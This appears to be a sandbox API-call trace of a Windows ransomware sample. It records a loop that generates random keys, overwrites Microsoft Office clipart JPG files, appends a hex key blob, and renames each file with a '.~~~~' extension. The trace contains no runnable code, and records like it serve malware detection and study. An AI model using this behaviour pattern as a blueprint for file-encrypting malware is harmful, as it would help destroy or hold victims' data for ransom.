	[0108.093] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.~~~~")) returned 1
	[0108.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.094] GetLastError () returned 0x0
	[0108.095] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0108.096] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.097] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.097] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22808689293) returned 1
	[0108.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa1818d0, dwHighDateTime=0x1d60e1e)) 
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807a00
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807a00 | out: hHeap=0x300000) returned 1
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0108.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827ec8
	[0108.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.097] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.098] GetLastError () returned 0x0
	[0108.098] GetLastError () returned 0x0
	[0108.098] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.098] GetLastError () returned 0x0
	[0108.098] GetLastError () returned 0x0
	[0108.101] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb646, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.101] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x49ba, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x49ba, lpOverlapped=0x0) returned 1
	[0108.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.102] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.102] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.103] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.103] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.103] CloseHandle (hObject=0x144) returned 1
	[0108.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0108.103] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.~~~~")) returned 1
	[0108.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.104] GetLastError () returned 0x0
	[0108.105] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0108.106] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.106] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.106] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22809611373) returned 1
	[0108.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa1a7a30, dwHighDateTime=0x1d60e1e)) 
	[0108.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807a38
	[0108.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807a38 | out: hHeap=0x300000) returned 1
	[0108.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0108.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827f60
	[0108.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0108.107] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.107] GetLastError () returned 0x0
	[0108.107] GetLastError () returned 0x0
	[0108.107] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.107] GetLastError () returned 0x0
	[0108.107] GetLastError () returned 0x0
	[0108.110] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffef424, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.111] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x10bdc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x10bdc, lpOverlapped=0x0) returned 1
	[0108.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.112] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.112] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.112] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.113] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.113] CloseHandle (hObject=0x144) returned 1
	[0108.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.113] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.~~~~")) returned 1
	[0108.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.114] GetLastError () returned 0x0
	[0108.115] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0108.116] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.116] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.116] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22810623534) returned 1
	[0108.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa28c270, dwHighDateTime=0x1d60e1e)) 
	[0108.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807bf8
	[0108.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807bf8 | out: hHeap=0x300000) returned 1
	[0108.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827e30
	[0108.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.221] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.221] GetLastError () returned 0x0
	[0108.221] GetLastError () returned 0x0
	[0108.221] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.221] GetLastError () returned 0x0
	[0108.222] GetLastError () returned 0x0
	[0108.225] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffe98d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.225] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x1672c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x1672c, lpOverlapped=0x0) returned 1
	[0108.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.227] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.227] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.227] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.227] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.227] CloseHandle (hObject=0x144) returned 1
	[0108.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.227] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.~~~~")) returned 1
	[0108.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.250] GetLastError () returned 0x0
	[0108.250] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0108.252] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.252] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.252] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22824223509) returned 1
	[0108.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa2d8530, dwHighDateTime=0x1d60e1e)) 
	[0108.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807c30
	[0108.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807c30 | out: hHeap=0x300000) returned 1
	[0108.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828128
	[0108.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.253] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.253] GetLastError () returned 0x0
	[0108.254] GetLastError () returned 0x0
	[0108.254] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.254] GetLastError () returned 0x0
	[0108.254] GetLastError () returned 0x0
	[0108.258] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffec1e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.258] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x13e1d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x13e1d, lpOverlapped=0x0) returned 1
	[0108.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.259] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.259] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.260] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.260] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.260] CloseHandle (hObject=0x144) returned 1
	[0108.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.260] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.~~~~")) returned 1
	[0108.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.261] GetLastError () returned 0x0
	[0108.262] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0108.263] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.263] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.263] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22825355011) returned 1
	[0108.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa2fe690, dwHighDateTime=0x1d60e1e)) 
	[0108.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807c68
	[0108.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807c68 | out: hHeap=0x300000) returned 1
	[0108.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828550
	[0108.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.264] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.264] GetLastError () returned 0x0
	[0108.265] GetLastError () returned 0x0
	[0108.265] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.265] GetLastError () returned 0x0
	[0108.265] GetLastError () returned 0x0
	[0108.268] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffeace4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.268] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x1531c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x1531c, lpOverlapped=0x0) returned 1
	[0108.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.270] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.270] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.270] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
